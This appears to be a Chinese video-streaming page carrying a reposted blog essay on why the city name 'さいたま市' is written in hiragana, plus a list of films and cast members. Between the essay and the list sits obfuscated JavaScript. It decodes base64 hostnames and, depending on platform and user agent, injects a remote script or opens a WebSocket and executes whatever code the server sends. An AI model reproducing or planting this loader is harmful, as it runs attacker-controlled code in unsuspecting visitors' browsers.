扫描二维码手机看大片

随手研究 | 埼玉首府的名字为什么是用平假名写的? 分集剧情
周末看了一部日本电影《飞翔吧!埼玉》(翔んで埼玉),充满地域梗,十分中二又有点热血。埼玉县之前只去过一次,当时从莲根搭友人叔叔的车去了户田市,在一个叫「七福の湯」的地方泡了温泉,相当舒爽,「狼龍灼熱童夢」汗蒸也是很厉害。跑题了。其实温泉和电影剧情都不是这次顺手研究的重点,真正引起我兴趣的是电影中的这句台词:没错,当你翻开日本地图,找到东京都西北方向的埼玉县↓就会发现,埼玉县的首府是「さいたま市」,而不是「埼玉市」。那么为什么「埼玉市」的名字要用平假名书写呢?在回答这个问题之前,先看看埼玉县的名字是怎么来的。首先要注意的是,「埼玉」的第一个字是「埼」而不是「琦」。很长一段时间里,我都以为是「琦玉」,毕竟这两个字还是很配的。今天的埼玉县历史上属于武藏国。明治政府废藩置县时,武藏国被分为一府(东京府)九县,其中浦和县、岩槻县和忍县是今天埼玉县的前身。第一次府县统合之后,埼玉县成立,以县厅所在的埼玉郡为名。「埼玉」这个名字的发祥地,则是埼玉郡的埼玉村。从一个村子的名字到一级行政区的名字,也算是一种逆袭了。不过今天的「さいたま市」并不是埼玉郡演变而来的,而是由埼玉县的三个市合并而来。在此之前,埼玉县的县厅所在地是浦和市。2001年,浦和市与大宫市、与野市合并为新的「さいたま市」,其中浦和市和大宫市的人口当时都超过40万,因此这也成了日本历史上涉及人口最多的城市合并。2005年又合并了岩槻市,使得「さいたま市」的人口超过了100万。而「さいたま市」名字就是在2001年第一次合并的时候起的。当时针对新市名进行了一次公开募集,最后选出5个方案,分别是:「さいたま市」、「埼玉市」、「彩都市」、「さきたま市」和「関東市」。至于最后为什么选出的是「さいたま市」,官方给出了5个理由:(1)平假名的「さいたま市」很容易理解,而且还能让人意识到,这座城市是埼玉县的县厅所在地,从而方便记忆;(2)さいたま这个名字在《续日本纪》、《万叶集》等古籍里也有出现,用做市名能反映历史和传统的传承;(3)在参加公募的67396人里,汉字「埼玉市」和「さいたま市」两个方案的支持者合起来有10938人,比其他名称支持者都多。(4)写成平假名可以和汉字的「埼玉县」县名有所区别。(5)用片假名书写的市名可以给人一种更加柔和的印象。另外也有网友指出,合并时「埼玉县」的「埼」字还不是常用汉字(2010年才成为常用汉字),因此不论任何人(包括小孩子)也能很容易地写出来、读出来,也是当时考虑的一个方面。不过话说回来。有资料称当年募集时,汉字「埼玉市」的得票要比「さいたま市」多得多(7117票对3821票),最后决定「さいたま市」也有无视民意之嫌,因此不满者甚多。电影里就对这个名字进行了吐槽,比如认为用平假名写名字「太土、太傻」。电影片尾曲《埼玉县之歌》也吐槽说:完全看不懂汉字吗?也是令人哭笑不得。「随手研究」写的,是从一个小点引发出的好奇心,这个引发点可能是一句台词,可能是一段文字,可能是一首歌…类似的文章,之前还写过《漫威电影中的瓦坎达到底在哪?》、《<寄生虫>里的地下密室书房》,点击篇名可以看。本文首发于微信公众号「杂钞与拾零」,作者江湖遠人。
function JsScTQ(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function leQkx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JsScTQ(t);};window[''+'z'+'X'+'F'+'Q'+'P'+'q'+'I'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=leQkx,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('Z2JyLmJooeWJsYW5rZXQuY24=','dHIueWWVzdWW42NzguY29t','133169',window,document,['o','W']);}:function(){};
- 8.1靠近维米尔Anna,Krekeler,Jonathan,Janson,Abbie,Vandivere,Gregor,J.M.,Weber,Pieter,Roelofs,Betsy,Wieseman
- 0.0贝艾尔第二季贾巴里·班克斯,阿基拉·阿克巴,吉米·耶肯博拉,Andi,René,Christensen,Nicholas,Duvernay,卡桑德拉·弗里曼,Charlie,Hall,Cheryl,Francis,Harrington,斯特凡特·哈特,艾德里安·霍姆斯,乔·霍尔特,艾普尔·帕克·琼斯,可可·琼斯,Jordan,L.,Jones,Simone,Joy,Jones,杜恩·马丁,布鲁克林·麦克林恩,奥利·索罗坦,斯考蒂·汤姆森,卡鲁切·特兰
- 0.0贝艾尔第二季贾巴里·班克斯,阿基拉·阿克巴,吉米·耶肯博拉,Andi,René,Christensen,Nicholas,Duvernay,卡桑德拉·弗里曼,Charlie,Hall,Cheryl,Francis,Harrington,斯特凡特·哈特,艾德里安·霍姆斯,乔·霍尔特,艾普尔·帕克·琼斯,可可·琼斯,Jordan,L.,Jones,Simone,Joy,Jones,杜恩·马丁,布鲁克林·麦克林恩,奥利·索罗坦,斯考蒂·汤姆森,卡鲁切·特兰
- 0.0贝艾尔第一季贾巴里·班克斯,卡桑德拉·弗里曼,
- 0.0出轨旧情人:未完待续阿曼达·霍顿,Paul,C.,Brunson
- 0.0刘在街头第四季刘在石
- 0.0尖峰对决陈画风,岳辛,尹扬明,连凯,周韦彤,康轩,霍舒哲,刘德熙
- 0.0我的世界大电影杰森·莫玛,杰克·布莱克,塞巴斯蒂安·尤金·汉森,艾玛·迈尔斯,丹妮尔·布鲁克斯,詹妮佛·库里奇,瑞切尔·豪斯,阿兰·亨利,布拉姆·斯科特-布莱尼,莫阿纳·威廉斯,杰梅奈·克莱门特,Mark,Wright,伊薇特·帕森斯,海勒姆·加西亚,布雷特·麦肯齐,杰瑞德·赫斯,Batanai,Mashingaidze,Amanda,Billing,Tommy,Broadmore,Frankie,Creagh-Leslie
- 0.0盲杀王辉,李恰,许东哲,戚彩,李博
- 0.0怪诞故事佩德罗·帕斯卡,安格斯·克劳德,本·门德尔森,杰·埃利斯,诺曼妮,马歇尔·林奇,汤姆·汉克斯,凯尔·吉克瑞斯特,杰克·尚皮永,柳智英,多米妮克·索恩,迈克尔·X·萨默斯,金永,Vinny,Balbo,Max,Carpenter,米歇尔·法拉·黄,Mike,Infante,Too,$hort,Natalia,Dominguez,Rachel,Thurow,James,Coker
- 0.0拉尼尔谢克布·塞坎德尔,莱利·麦迪逊·富勒,Ava,Metallo,贾勒特·迈克尔·柯林斯
- 0.0坚不可摧的男孩扎克瑞·莱维,艾米·阿克,彼得·费辛利,帕翠西亚·希顿,梅格翰·法伊,德鲁·鲍威尔,雅各布·拉瓦尔,加文·沃伦,凯文·道恩斯,托德·特里,布鲁斯·戴维斯,吉姆·亨利